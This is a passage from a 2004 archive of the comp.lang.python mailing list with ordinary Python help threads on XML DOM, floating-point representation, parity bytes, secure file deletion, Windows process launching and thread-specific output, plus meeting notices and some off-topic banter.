at initialization time (based on configuration files) or interactively
using factories (which are also model objects).

In addition, we have the requirement to record the service requests
resulting from user input in interactive mode, in order to 'replay'
these later - in other words a kind of macro recorder.  The recording
should be in the form of a Python script, which could be edited before
its execution.  It is important to record the service requests and not
the user's interaction with controller objects.  Naturally only the
requests originating from controller objects should be intercepted and
recorded.

For the recording mechanism, we have two very different ideas:
1. The controller objects issue the requests as texts strings,
   which are eval'ed to perform the actual service request
   invocation.  These texts could then be intercepted and
   recorded.
2. Using an interceptor (see thread 'Python interceptor package'
   of 2004-06-16) to intercept the method invocations of model
   objects.
   The interceptor then obtains the name of the object from the
   user's global namespace (see thread 'Import into specified
   namespace' of 2004-09-08), analyses the call parameters and
   reconstructs a textual representation of the invocation
   (before delegating the invocation to the actual method).

Both approaches have advantages and drawbacks, and we probably don't
see all implications as yet.

Does anyone have experience with such mechanisms, or could point me to
relevant literature or (even better) to open source projects employing
such mechanisms (preferably in Python)?

Thanks in advance
Fritz


From flavell at ph.gla.ac.uk  Wed Sep  1 10:19:14 2004
From: flavell at ph.gla.ac.uk (Alan J. Flavell)
Date: Wed, 1 Sep 2004 15:19:14 +0100
Subject: Xah Lee's Unixism
In-Reply-To: <4135ce4a$0$19726$61fed72c@news.rcn.com>
References: <7fe97cc4.0408251356.34f2102a@posting.google.com>
	<%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net>
	<du7k6vfnvx9.fsf@amadeus.cc.tut.fi>
	<4134a207$0$65568$a1866201@newsreader.visi.com>
	<j-OdnS-Q8aADqKjcRVn-tQ@speakeasy.net>
	<4135ce4a$0$19726$61fed72c@news.rcn.com>
Message-ID: <Pine.LNX.4.61.0409011503400.4389@ppepc56.ph.gla.ac.uk>

On Wed, 1 Sep 2004 jmfbahciv at aol.com wrote:

> You'ld probably get further about who's on first by knowing that
> the guy who did OS-8 also did TOPS-10 monitor work.

I have here my manual of the "Cambridge Multiple-Access System - 
User's Reference Manual" (that's Cambridge, England) dated 1968.  The 
file system hierarchy separator is "/".

I don't know where -they- got the convention from in the first place, 
admittedly.

ObPDP:  the TITAN system had a PDP7 as a peripheral device, sort-of.


-- 
   "The disc file has a capacity of about 8 million words".


From john_taylor_1973 at yahoo.com  Tue Sep 14 10:06:04 2004
From: john_taylor_1973 at yahoo.com (John Taylor)
Date: 14 Sep 2004 07:06:04 -0700
Subject: XML Dom question
Message-ID: <fc30bff.0409140606.586c14e1@posting.google.com>

I am trying to insert a new element and value into a XML Dom structure
and am having some trouble.

When I read the file in from disk, I have this:

    <object name='menu__File__Exit' class='wxMenuItem'>
      <label>E_xit</label>
      <event class='EVT_MENU'>On__File__Exit</event>
    </object>

When I run this code:

        w = walker.currentNode
	if "menu__File__Exit" == name and 0 == needs_value and 0 == test:
		myNode = doc.createElement("shortcut_key")
		myNode.setAttribute("modifier","SHIFT")
		w.appendChild( myNode )  
		test = 1

I get this result:

    <object name='menu__File__Exit' class='wxMenuItem'>
      <label>E_xit</label>
      <event class='EVT_MENU'>On__File__Exit</event>
      <shortcut_key modifier='SHIFT'/>
    </object>

This is what I really want:
      <shortcut_key modifier='SHIFT'/>F4</shortcut_key>

Can some one post code on how to do this?  I tried creating a new Node
(called newNode) and setting the nodeType and NodeValue and the use
the appendChild() method, but I keep getting this error:

code:
myNode.appendChild(newNode)

error:
AttributeError: Node instance has no attribute 'childNodes'

Any help would be greatly appreciated!

Thanks,
-John


From grante at visi.com  Tue Sep 21 10:29:11 2004
From: grante at visi.com (Grant Edwards)
Date: 21 Sep 2004 14:29:11 GMT
Subject: Math errors in python
References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com>
	<cihrab$1v8$02$1@news.t-online.com>
	<4618b20c.0409192034.5408eebb@posting.google.com>
	<414eea5b$0$62452$a1866201@newsreader.visi.com>
	<ftttk01elt3afo569bg8uebud837fkjvnu@4ax.com>
	<414f18a0$0$60640$a1866201@newsreader.visi.com>
	<smavk0lkls3v8o5d6c4bfpnrka0be0nukj@4ax.com>
Message-ID: <41503ab7$0$60645$a1866201@newsreader.visi.com>

On 2004-09-21, Dennis Lee Bieber <wlfraed at ix.netcom.com> wrote:

> On 20 Sep 2004 17:51:28 GMT, Grant Edwards <grante at visi.com> declaimed
> the following in comp.lang.python:
>
>> To get the same range and precision as a 32-bit IEEE, you need
>> 4 bytes for mantissa and 2 for the exponent.  That's 6 bytes,
>> not 300.
>
> I'll concede that I may have missed something in the thread...
> But if one were to propose using a floating BCD for something
> with only 7 significant decimal digits just to get decimal
> "repeating digits" rather than binary ones... (1/3=
> 0.33333333....) I'd be looking for a different proposal.

What proposal?  I was just pointing out that the poster who
claimed that BCD didn't have the range that binary did was
wrong.  He wasn't comparing BCD vs. binary, he was comparing
fixed point vs. floating point.  Fixed point BCD and fixed
point binary both have the same issues with range.

> Add in that an exponent shift is a change of 10, vs a change
> of 2 (assuming common normallized binary -- my college machine
> used exponents that were powers of 16, meaning a normalized
> binary could have up to three 0-bits) -- somehow it just feels
> like the powers of two would retain finer precision when doing
> addition.

For the same storage space, binary FP will have more precision
and/or range.  BCD doesn't use 40% of the code space.

-- 
Grant Edwards                   grante             Yow!  Join the PLUMBER'S
                                  at               UNION!!
                               visi.com            


From tzot at sil-tec.gr  Tue Sep 28 19:39:51 2004
From: tzot at sil-tec.gr (Christos TZOTZIOY Georgiou)
Date: Wed, 29 Sep 2004 02:39:51 +0300
Subject: python vs c#
References: <mailman.3520.1095631846.5135.python-list@python.org>
	<EPmdnagKPrUPhtPcRVn-iQ@giganews.com>
	<mailman.3529.1095642828.5135.python-list@python.org>
	<1gkgxts.1fq0rwq10mycqiN%aleaxit@yahoo.com>
	<41513aac$0$285$edfadb0f@dread12.news.tele.dk>
	<1gkih9r.pfgqukvpt1rcN%aleaxit@yahoo.com>
Message-ID: <37tjl09an200u6tejkrtklc8ib86uk7rm1@4ax.com>

On Wed, 22 Sep 2004 11:18:35 +0200, rumours say that aleaxit at yahoo.com
(Alex Martelli) might have written:

>> Well, not to feed the troll, but there is a few relevant points in it's
>> posting.
>
>(Please, please, please: "its", not "it's"... pretty please...)

(Late reply that maybe can make one smile)

Alex, you are 99% correct.  Leave a 1% chance that Max referred to
"julio" as "it"... :)  Trolls are genderless!
-- 
TZOTZIOY, I speak England very best,
"Tssss!" --Brad Pitt as Achilles in unprecedented Ancient Greek


From aahz at pythoncraft.com  Thu Sep  2 19:02:32 2004
From: aahz at pythoncraft.com (Aahz)
Date: Thu, 2 Sep 2004 19:02:32 -0400
Subject: BayPIGgies: September 9, 7:30pm
Message-ID: <20040902230232.GA11628@panix.com>

The next meeting of BayPIGgies will be Thurs September 9 at 7:30pm.  It
will feature a presentation about pyscheme by Danny Yoo.  Haven't had
time to update the web site, so here's Danny's summary:

    http://hkn.eecs.berkeley.edu/~dyoo/python/pyscheme/

    o  A quick introduction to Scheme, and how it's similar to Python.

    o  A sketch of how pyscheme works.

    o  Demo of the program itself.

    o  Discussion on a core problem when implementing Scheme in Python:
       Recursion!

        - Python's recursion limit.
        - How to deal with it: bouncing functions on trampolines.

    o  Maybe even continuations, if I haven't lost the audience by then.


BayPIGgies meetings are in Stanford, California.  For more information
and directions, see http://www.baypiggies.net/


Before the meeting, some people will meet at 6pm for dinner in downtown
Palo Alto.  Ducky Sherwood is handling that; please send RSVPs
to ducky at osafoundation.org by 4pm Thurs.
Discussion of dinner plans is handled on the BayPIGgies mailing list.


Advance notice: The October 14 meeting agenda has not been set.  Please
send e-mail to baypiggies at baypiggies.net if you want to make a
presentation.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"To me vi is Zen.  To use vi is to practice zen.  Every command is a
koan.  Profound to the user, unintelligible to the uninitiated.  You
discover truth everytime you use it."  --reddy at lion.austin.ibm.com


From me at privacy.net  Thu Sep 16 17:20:27 2004
From: me at privacy.net (Dan Sommers)
Date: 16 Sep 2004 17:20:27 -0400
Subject: Overview of competing Python modules?
References: <111j51ljz6sur$.dlg@thorstenkampe.de>
Message-ID: <m2brg57vxg.fsf@unique.fully.qualified.domain.name.yeah.right>

On Thu, 16 Sep 2004 10:10:18 +0200,
Thorsten Kampe <thorsten at thorstenkampe.de> wrote:

> Has anyone ever compiled an overview of competing Python modules?
> Something like "there's the standard cvs module and the one from
> pycvs.sourceforge.net but most people use cvs (or pycvs) because it's
> <whatever>".

Try the Python wiki:  <http://www.python.org/moin/FrontPage>

Also, I've had fairly good results from typing the general topic and a
couple of competitors into a single google web or usenet search, e.g.

    postgresql python psycopg pypgsql

HTH,
Dan

-- 
Dan Sommers
<http://www.tombstonezero.net/dan/>
Never play leapfrog with a unicorn.


From alanmk at hotmail.com  Fri Sep 24 14:11:26 2004
From: alanmk at hotmail.com (Alan Kennedy)
Date: Fri, 24 Sep 2004 19:11:26 +0100
Subject: DB-SIG wiki/moin? (was Re: Python and Sybase)
In-Reply-To: <cpallezisbz.fsf@cabernet.nelson.monkey.org>
References: <wVE4d.53$26.20@llslave.llan.ll.mit.edu>
	<cpallezisbz.fsf@cabernet.nelson.monkey.org>
Message-ID: <cj1no3$e99$1@kermit.esat.net>

[David Rysdam]
 >>What module is most recommended for accessing Sybase from Python?
 >>This one: http://www.object-craft.com.au/projects/sybase/sybase/?

[Nelson Minar]
 > While we're here, is there a free module for accessing SQLServer
 > from Python? Last I checked this Sybase driver was the only option.

[Josh Close]
 > Pymssql is, but I don't think it's DB API-2.0 compliant.

[Moof]
 > Pywin32 (formerly win32all) has an odbc module which is DB-API 1.0
 > compliant.
 >
 > There's also adodbapi, which is DB-API 2.0 compliant.
 >
 > I haven't used the latter enough to work out if it's reasonably
 > useful. Idon't get on with the former very well, though.
 >
 > Oh, and non-free there's mxODBC, which also works under unix.
 >
 > Also from unix someone mentioned a module based on ODBTP, which
 > hasn't yet surfaced out in the wild.

Thanks to Josh and Moof for pointing out the other alternatives for 
connecting to Sybase and MS-SQLServer.

When looking at the DB-SIG web page, although I can see a list of 
database modules there that support the DB-API in its different versions 
and levels, I can see no easy way for that list to be updated with the 
above sort of invaluable information.

Might it be a good idea to make at least part of the DB-SIG web page a 
wiki/moin? A moin works well in the web framework/templating arena, so 
perhaps it is also suitable for database modules?

Regards,

Alan.


From spam at nimblegen.com  Tue Sep 21 15:39:43 2004
From: spam at nimblegen.com (Chuck Dillon)
Date: Tue, 21 Sep 2004 14:39:43 -0500
Subject: Xah Lee's Unixism
In-Reply-To: <41504292.C2BE622D@yahoo.com>
References: <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com>
	<4140688e$0$6912$61fed72c@news.rcn.com>
	<flrphc.tlk1.ln@via.reistad.priv.no> <4140A885.90B945AC@yahoo.com>
	<4jkqhc.p7p1.ln@via.reistad.priv.no>
	<1oh3k01cieht04nmfo27pvihg8teme0mdt@4ax.com>
	<Zdm0d.88398$S55.30393@clgrps12>
	<chsvv6$v15$1@grandcanyon.binc.net> <tqm3c1krcuo.fsf@drizzle.com>
	<r6gek0diq28jqi0ie18hku87r8865lt3p8@4ax.com>
	<tqmhdpwqf8s.fsf@drizzle.com>
	<s0utk01omk8aipn7vclocmdgokfu66bu2g@4ax.com>
	<414F156C.7C28AEFB@yahoo.com> <cipaid$jb6$1@grandcanyon.binc.net>
	<41504292.C2BE622D@yahoo.com>
Message-ID: <ciq00m$op6$1@grandcanyon.binc.net>

CBFalconer wrote:
> Chuck Dillon wrote:
> 
>>CBFalconer wrote:
>>
> 
> ... snip ...
> 
>>>Then why does he ignore them, as evidenced by his non-response to
>>>the July report on the future of Iraq, which was kept secret until
>>>a few days ago?
>>
>>You have no basis from which to judge how or whether there was a
>>response.  Just because you're not in the loop doesn't mean there
>>is no loop.
> 
> 
> On the contrary, I have a basis.  GWB has continued to bray about
> "staying the course" since the report was available to him.
> 

Which of course is a basis of nothing.

It appears you consider reports from intelligence reliable enough for 
the administration to take action with a sense of urgency.  So you must 
support actions taken last year based on similar intelligence right? 
You also seem to support delegating control to whomever writes a 
sufficiently gloomy report.

-- ced

-- 
Chuck Dillon
Senior Software Engineer
NimbleGen Systems Inc.


From Scott.Daniels at Acm.Org  Mon Sep 13 16:38:51 2004
From: Scott.Daniels at Acm.Org (Scott David Daniels)
Date: Mon, 13 Sep 2004 13:38:51 -0700
Subject: Find first in sequence (simple question)
In-Reply-To: <mailman.3255.1095103389.5135.python-list@python.org>
References: <mailman.3255.1095103389.5135.python-list@python.org>
Message-ID: <41460a30$1@nntp0.pdx.net>

Neal D. Becker wrote:

> What is an efficient way to find the first element in a sequence meeting
> some condition?
> 
> For example, the first number > x in a list of numbers.
> 
> 
     for element in sequence:
         if element > x:
             break
     else:
         raise ValueError, 'nothing in %r > %r' % (sequence, x)

     # Now element is the first such element.


If you need to get the index:

     for index, element in enumerate(sequence):
         if element > x:
             break
     else:
         raise ValueError, 'nothing in %r > %r' % (sequence, x)

     # Now element is the first such element (sequence[index]).

-Scott David Daniels
Scott.Daniels at Acm.Org


From Scott.Daniels at Acm.Org  Mon Sep 13 15:07:05 2004
From: Scott.Daniels at Acm.Org (Scott David Daniels)
Date: Mon, 13 Sep 2004 12:07:05 -0700
Subject: unittest.TestCase, lambda and __getitem__
In-Reply-To: <roy-3F3E48.09514613092004@reader1.panix.com>
References: <mailman.3214.1095049956.5135.python-list@python.org>
	<roy-3F3E48.09514613092004@reader1.panix.com>
Message-ID: <4145f4ae$1@nntp0.pdx.net>

Roy Smith wrote:
>.... I think you need to just create a little function and call it:
> 
> def tryIndex (object, index):
>    return obj [index]

For python 2.4 and beyond, the function is called operator.getitem,
so I'd call it getitem.

-Scott David Daniels
Scott.Daniels at Acm.Org



From grante at visi.com  Tue Sep 14 15:03:43 2004
From: grante at visi.com (Grant Edwards)
Date: 14 Sep 2004 19:03:43 GMT
Subject: newbie sending hex values over UDP socket
References: <e2491a75.0409091744.53fab172@posting.google.com>
	<chr22o$7ra$1@news.service.uci.edu>
	<e2491a75.0409100843.79a49a7a@posting.google.com>
	<QYGdnckJ3ukLf9zcRVn-sQ@powergate.ca>
	<e2491a75.0409110433.2e9c00c5@posting.google.com>
	<e2491a75.0409141057.3725fe14@posting.google.com>
Message-ID: <4147408f$0$65608$a1866201@newsreader.visi.com>

On 2004-09-14, Bill Seitz <fluxent at yahoo.com> wrote:

>> Excellent - now how about calculating a parity-check byte?
>
> Here's the definition of the parity byte:
>
> The column parity is one (1) byte.  The eight bits of data in this
> byte re?flect the odd parity of all corresponding bits in the block;
> i.e. bit 8 of the Column Parity byte is the odd parity of all bit 8's
> in the entire block.
> Column parity will be calculated by the sender as follows:
>
> (a)	Begin with the value 255.
>
> (b)	Exclusive OR the current value with the value of the first (or
> next) data byte beginning with the header byte.  Repeat until all
> bytes up to, but not includ?ing, the parity byte have been used.
>
> (c)	Send the result in the column parity position.

# assume "s" is the data for which we want a parity byte

parityByte = chr(reduce(operator.__xor__,map(ord,s)))

-- 
Grant Edwards                   grante             Yow!  NOW, I'm supposed
                                  at               to SCRAMBLE two, and HOLD
                               visi.com            th' MAYO!!


From grante at visi.com  Thu Sep  2 19:59:41 2004
From: grante at visi.com (Grant Edwards)
Date: 02 Sep 2004 23:59:41 GMT
Subject: It's in Python. It just _works_!
Message-ID: <4137b3ed$0$65570$a1866201@newsreader.visi.com>

A few months back I wrote a sort of a strip-chart recorder
program that talks DeviceNet to a measurement widget and plots
the received data in more-or-less real time using the Gnuplot
module.  It was written on Linux system with absolutely no
thought given to portability.  It's nothing big (about 650
lines of code).

Today, just for fun, I decide to try to run it under Win32.
After installing the Numeric and Gnuplot modules, I only had to
make 1-line changes to two places in the code, and it started
working.

Apparently, the file descriptor you get from a socket object
under Win32 can't be used with os.read() and os.write()?  I
couldn't find anywhere in the docs that said so, but I sure
couldn't get it to work.  At least not under WinMe.

-- 
Grant Edwards                   grante             Yow!  RELAX!!... This
                                  at               is gonna be a HEALING
                               visi.com            EXPERIENCE!! Besides,
                                                   I work for DING DONGS!


From HBOSTIC at santeecooper.com  Tue Sep  7 12:02:22 2004
From: HBOSTIC at santeecooper.com (Heuguette Bostic)
Date: Tue, 07 Sep 2004 12:02:22 -0400
Subject: Compiling Python 2-3.4 on Tru64 UNIX V4.0F
Message-ID: <s13da354.044@gwia.santeecooper.com>


I am attempting to compile Python 2-3.4 on Tru64 UNIX V4.0F.  Whenever I issue the make command, the following errors are output:

 -pthread -ieee -std -Olimit 1500 -DNDEBUG -O -I. -I./Include  -DPy_BUILD_CORE  -c ./Modules/posixmodule.c -o Modules/posixmodule.o
cc: Warning: ./Modules/posixmodule.c, line 3007: "return" is an invalid preprocessor directive, and is being ignored. (baddirective)
#       return PyInt_FromLong((long)getpgrp(0));
--------^
cc: Error: ./Modules/posixmodule.c, line 3025: Missing ")". (norightparen)
#       if (setpgrp(0, 0) < 0)
-------------------^
cc: Warning: ./Modules/posixmodule.c, line 3016: Missing #endif directive. (noendif)
#ifdef HAVE_SETPGRP
-^
cc: Info: ./Include/objimpl.h, line 255: In this declaration, type long double has the same representation as type double on this platform. (longdoublenyi)
        long double dummy;  /* force worst-case alignment */
--------^
*** Exit 1
Stop.


Does anyone have any suggestions to help me resolve this problem?  Any help would be appreciated.


Sam


____________________
Confidentiality Notice:
This message is intended exclusively for the individual or entity to which it is addressed. This communication may contain information that is proprietary, privileged, confidential or otherwise legally exempt from disclosure. If you are not the named addressee, you are not authorized to read, print, retain, copy or disseminate this message or any part of it. If you have received this message in error, please notify the sender immediately either by phone or reply to this e-mail, and delete all copies of this message.


From onurb at xiludom.gro  Mon Sep 20 18:39:47 2004
From: onurb at xiludom.gro (bruno modulix)
Date: Tue, 21 Sep 2004 00:39:47 +0200
Subject: python is going to die! =(
In-Reply-To: <eviltofu-30B89F.00245220092004@news.telus.net>
References: <mailman.3520.1095631846.5135.python-list@python.org>
	<Omo3d.17502$QJ3.11149@newssvr21.news.prodigy.com>
	<1095635849.649169.161680@k26g2000oda.googlegroups.com>
	<eviltofu-30B89F.00245220092004@news.telus.net>
Message-ID: <414f5dd7$0$20462$626a14ce@news.free.fr>

Jerome Chan a ?crit :
(snip)
> I would love it if Python had an ide like Smalltalk's.
I don't know if the project is still alive, but PythonCard had a strong 
Smalltalk-like smell...


From ed at leafe.com  Thu Sep 23 22:25:57 2004
From: ed at leafe.com (Ed Leafe)
Date: Thu, 23 Sep 2004 22:25:57 -0400
Subject: up with PyGUI!
In-Reply-To: <a8623416.0409231631.4c993fb7@posting.google.com>
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<a8623416.0409231631.4c993fb7@posting.google.com>
Message-ID: <1168EC9B-0DD1-11D9-8C15-003065B11E84@leafe.com>

On Sep 23, 2004, at 8:31 PM, Corey Coughlin wrote:

> Alright, here's the question I'm going to start asking whenever anyone
> starts promoting a new gui for python.  Is there an nice gui-driven
> gui creation tool to go with this?  I realize that you're really happy
> with the API and all, but if there were a nice gui maker along with a
> nice python ide to go along with it, you'd probably make a lot more
> converts.

	I agree 100%. One of the planned development projects for Dabo is a 
true GUI designer. We have several ideas and a few proof-of-concept 
attempts, but the major focus on the GUI designer will be after the 0.5 
release. The plan is to create a solid basis before adding the exterior 
goodies. ;-)

      ___/
     /
    __/
   /
  ____/
  Ed Leafe
  http://leafe.com/
  http://dabodev.com/



From dit at nerdshack.com  Wed Sep 22 22:12:06 2004
From: dit at nerdshack.com (dit)
Date: Thu, 23 Sep 2004 12:12:06 +1000
Subject: Newby Project
Message-ID: <415230f9@dnews.tpgi.com.au>

I want to start something small, like a learning program. I've been 
looking and learning python for about 4 months; and I think that I have 
the basics under my belt... is it worth trying my own project, or is it 
better to continue with the py tutes?

Also if I was to start, how do I pose myself the question of what am I 
actually trying to achieve / what am I trying to make?


any comments and suggestions welcome.



//dit\\\


From rschroev_nospam_ml at fastmail.fm  Mon Sep  6 16:40:50 2004
From: rschroev_nospam_ml at fastmail.fm (Roel Schroeven)
Date: Mon, 06 Sep 2004 20:40:50 GMT
Subject: Secure delete with python
In-Reply-To: <du74qmb9mzs.fsf@amadeus.cc.tut.fi>
References: <pan.2004.09.06.13.01.15.399532@REMOVE_mindless_ME.com>
	<chhoae$5pp$1@online.de> <chhoij$62d$1@online.de>
	<du74qmb9mzs.fsf@amadeus.cc.tut.fi>
Message-ID: <mX3%c.238611$zd5.12397685@phobos.telenet-ops.be>

Ville Vainio wrote:

>>>>>>"Benjamin" == Benjamin Niemann <b.niemann at betternet.de> writes:
> 
> 
>     >> fp = open(path, "wb")
>     >> for i in range(os.path.getsize(path)):
>     >> fp.write("*")
>     >> fp.close()
>     >> os.unlink(path)
> 
>     Benjamin> and there is no guarantee that this actually overwrites
>     Benjamin> the old file. The filesystem may choose to write the new
>     Benjamin> content at another location of the disk, leaving the
>     Benjamin> original data untouched.
> 
> Seriously? What OSen are known for doing this? I'd had thought that if
> the file size is unchanged, the data is always written over the old
> data...

VMS, I believe, has a versioning system built into the file system. Each 
time a file is saved, a new version is created while the old versions 
are still there. All from hearsay though, I have never used or seen VMS 
myself.

-- 
"Codito ergo sum"
Roel Schroeven


From skip at pobox.com  Tue Sep 14 14:11:55 2004
From: skip at pobox.com (Skip Montanaro)
Date: Tue, 14 Sep 2004 13:11:55 -0500
Subject: up with PyGUI!
In-Reply-To: <m3isag68uh.fsf@g2ctech.com>
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<m3vfeg69xp.fsf@g2ctech.com> <ci79v3$rh$1@atlantis.news.tpi.pl>
	<m3isag68uh.fsf@g2ctech.com>
Message-ID: <16711.13419.327124.217356@montanaro.dyndns.org>


    Jorge> Yes, I do, but I don't know how it is supposed to look like from
    Jorge> this toolit perspective... If I wanted everything exactly like
    Jorge> GTK2, I'd probably use it.

That's not what PyGUI is about.  It's about a better, standard API for
creating GUI apps.

Skip


From bokr at oz.net  Tue Sep 28 19:43:05 2004
From: bokr at oz.net (Bengt Richter)
Date: 28 Sep 2004 23:43:05 GMT
Subject: os.system  vs. Py2Exe
References: <81a41dd.0409280200.1a74edd1@posting.google.com>
	<77ce170c.0409280647.7e98e76d@posting.google.com>
	<81a41dd.0409281107.5fd1c525@posting.google.com>
	<4159b868$0$99417$a1866201@newsreader.visi.com>
Message-ID: <cjcsu9$tda$0$216.39.172.122@theriver.com>

On 28 Sep 2004 19:15:52 GMT, Grant Edwards <grante at visi.com> wrote:

>On 2004-09-28, Lad <export at hope.cz> wrote:
>
>> Yes, I installed all files( I think) because everything else
>> works. Only os.system does NOT.  I use os.system to open txt
>> file.I use it like os.system('Myfile.txt')
>
>What makes you think that should work?  
>
>Is Myfile.txt an executable file?  Under Win32, don't
>executble file's names usually end in .exe?

It's not a matter of _being_ executable, it's a matter of having an executable
_associated with_ the extension. Typically notepad.exe is associated with .txt
(via an intermediate association with a generic file type name that in turn
is associated with the actual executable):
----
[16:30] C:\pywk\junk>assoc .txt
.txt=txtfile

[16:30] C:\pywk\junk>ftype txtfile
txtfile=C:\WINNT\System32\NOTEPAD.EXE %1
----

>> When I use os.startfile instead  of os.system it works well.
>
>Then why not use os.startfile()?  It's the correct way to start
>the program that is supposed to handle .txt files.
One difference is that os.system will wait for the completion of what it starts,
but os.startfile will start a new process to do it, and return immediately.

I would try it with full absolute paths to everything the in the os.system call.
If that works, you can look for why the environment is different.

BTW, if you execute via start menu or double clicking a desktop icon, the associated
.lnk may specify the starting directory. If that is different from current directory,
bare names may be looked for in unexpected place and not be found (or worse, a file
of the same name may be found, but be the wrong one). Right click on the icon and look
at the properties. Or right click the task bar and chase properties of start menus that way,
or start>settings>taskbar> etc.

BTW2, if you want to type in a file name without extension, as you can with .exe
and .bat etc., it implies a priority choice if e.g. both .exe and .bat exist
in the same path directory. You can influence this by the PATHEXT environment
variable. Go to a console window and type
    help ftype|more
and also
    help assoc|more
for additional info

BTW3, beware of changing .exe association!! I was aghast to find (some time ago) that
NS4.5 let me change that association via its file association option interface.
It was pretty squirrely to get back to normal. No console commands would work.
(IIRC I finally used  start menu>run>browse to find and execute regedit32 and repaired
it that way, after booting in last known good to see what the registry was supposed to be
for .exe). Very anxious moments there ;-)

Regards,
Bengt Richter


From greg at cosc.canterbury.ac.nz  Sun Sep  5 06:34:25 2004
From: greg at cosc.canterbury.ac.nz (greg)
Date: Sun, 05 Sep 2004 22:34:25 +1200
Subject: Sequence Protocol, assign item
References: <ch81gl$avb$1@schleim.qwe.de>
	<m3u0ufe7h1.fsf@pc150.maths.bris.ac.uk>
	<cha6sp$bgb$1@schleim.qwe.de>
Message-ID: <413AEBB1.1050007@cosc.canterbury.ac.nz>

Torsten Mohr wrote:
> static int pytypeseq_ass_item(PyObject* s, int nr, PyObject* val) {
>         int v;
>         pytype_obj* self = (pytype_obj*)s;
> 
>         if(!PyArg_ParseTuple(val, "i", &v)) {

You don't want to use PyArg_ParseTuple here, because 'val'
isn't wrapped in a tuple, it's the bare value of the RHS.
Instead you want

    v = PyInt_AsLong(val);
    if (PyErr_Occurred())
       return -1;

Also note the -1 return value (not 0) to signal an error.

> In part A some INCREF/DECREF stuff is done, but i think i don't need
> this as the PyObjects are only temporarily.

That's correct in this case.

> Exception exceptions.SystemError: 'new style getargs format but argument \
> is not a tuple' in 'garbage collection' ignored

That's because you were passing PyArg_ParseTuple something
that wasn't a tuple. (The error message talks about argument
formats because PyArg_ParseTuple is intended for processing
argument lists, and in normal use it can't ever get passed
anything other than a tuple.)

Greg



From aleaxit at yahoo.com  Thu Sep 23 17:24:17 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Thu, 23 Sep 2004 23:24:17 +0200
Subject: Python in a Nutshell for Python 2.4
References: <df045d93.0409221344.52d18be9@posting.google.com>
	<2Pt4d.5568$sa.2954@trndny05>
	<1gkkjme.1larcxs9r607kN%aleaxit@yahoo.com>
	<IIWdnYRnRpDme8_cRVn-rg@megapath.net>
Message-ID: <1gkla2y.3t28kus10dl9N%aleaxit@yahoo.com>

R Baumann <rynt at 9yahoo.com> wrote:
   ...

> > _after_, as RH says, the 2nd edition of the Cookbook (we're still
> > targeting March 2004 for that one).
> 
> I think you've missed your target date! ;-)

Ooops -- an off-by-one error, I suspect.  Make it March 2005...!-)


Alex


From aleaxit at yahoo.com  Thu Sep 16 17:23:29 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Thu, 16 Sep 2004 23:23:29 +0200
Subject: thread specific sys.stdout?
References: <opsedyrils6yt6e7@news.cisco.com>
	<ciabc0$seb$00$2@news.t-online.com>
Message-ID: <1gk8b9h.974pyyn6fgceN%aleaxit@yahoo.com>

Diez B. Roggisch <deetsNOSPAM at web.de> wrote:

> aurora wrote:
> 
> > This may sound a little crazy. I capture the output of one class by
> > redirecting the sys.stdout. However the is another threading running at
> > the same time and occasionaly it output some messages to the redirected
> > sys.stdout irreleveant to the output I want to capture. Is there a way to
> > redirect output specific to some threads?
> 
> You could replace sys.stdout by a class that splits the written text
> depending on the current thread. It might look roughly like this:
> 
> class ThreadPrinter:
>     def __init__(self):
>         _.fhs = {}
> 
>     def write(self, value):
>         f = _.fhs.get(threading.currentThread(),
> open(get_some_nice_file_name(), "w")
>         f.write(value)
>         _.fhs[threading.currentThread()] = f

Not a bad general idea, but you need a better implementation of the
"thread-local storage" design pattern than just a bare dictionary like
this 'fhs' dict.  In Python 2.4, threading.local gives you such an
implementation.  If you need to work in Python 2.3, it's more work, but
there are cookbook recipes (on Activestate's site) which can help.


Alex


From fee at fee.com  Fri Sep 24 15:57:38 2004
From: fee at fee.com (fee)
Date: Fri, 24 Sep 2004 12:57:38 -0700
Subject: Drawing sound
In-Reply-To: <ttNMvZB0zGVBFwRQ@[127.0.0.1]>
References: <ttNMvZB0zGVBFwRQ@[127.0.0.1]>
Message-ID: <1096055782.f7xnAHRss5p8DMQfTTB3Xg@teranews>

Chris wrote:
> I want a program that can "draw" sound.
> 
> Imagine drawing a graph of frequency against time -
> and then being able to play it over the computer speakers.
> 

> 
> Can that be done in Python?
> Or in any other language?

Using programs to create sound through a soundcard is
a quite popular activity.  What you describe may be
best done with the program csound (http://www.csounds.com/).

If you want to do it with python, you might try looking here
first:

http://docs.python.org/lib/mmedia.html

Tobiah


From ptmcg at austin.rr._bogus_.com  Sun Sep  5 22:19:39 2004
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Mon, 06 Sep 2004 02:19:39 GMT
Subject: view http info when browsing
References: <56d498d9.0409051725.1c7d3258@posting.google.com>
Message-ID: <%OP_c.36237$Xi.555@fe1.texas.rr.com>

"ben" <santoshamb at yahoo.com> wrote in message
news:56d498d9.0409051725.1c7d3258 at posting.google.com...
> I'm trying to write a web client script in python to log onto a web
> page and pull some information off of it.  The page has quite a few
> behind the scenes http things going on that are making it difficult to
> write the python script.  I think if I could see the raw http data
> that comes to my browser life would be much easier.  Does anybody know
> of programs that would run alongside my browser and show the http data
> that is send back and forth?
>
> I've looked at plugins like httpwatch and iewatch.  httpwatch looks
> good but it costs quite a bit of money, and the trial is not fully
> functional.  iewatch has a free trial, but they don't show cookie
> info, which is important.
>
> Does anybody know a good way of view the raw http?
>
> Thanks for your help,
>
> Ben

Try HTTPLook at www.httpsniffer.com .  We've used it some on our current
project, to monitor SOAP message contents.  I don't know about cookie
viewing, but it's free for 15-day (full featured) trial, less than $30 if
you want to keep it.

-- Paul




From donn at drizzle.com  Fri Sep  3 01:28:58 2004
From: donn at drizzle.com (Donn Cave)
Date: Fri, 03 Sep 2004 05:28:58 -0000
Subject: Tuple question
References: <41374a65$0$22750$db0fefd9@news.zen.co.uk>
	<0qKdnZXAHfyPyKrcRVn-sg@powergate.ca>
	<mailman.2783.1094152072.5135.python-list@python.org>
	<M53NBls/KL8E089yn@the-wire.com> <87acw86she.fsf@uwo.ca>
Message-ID: <1094189336.822541@yasure>

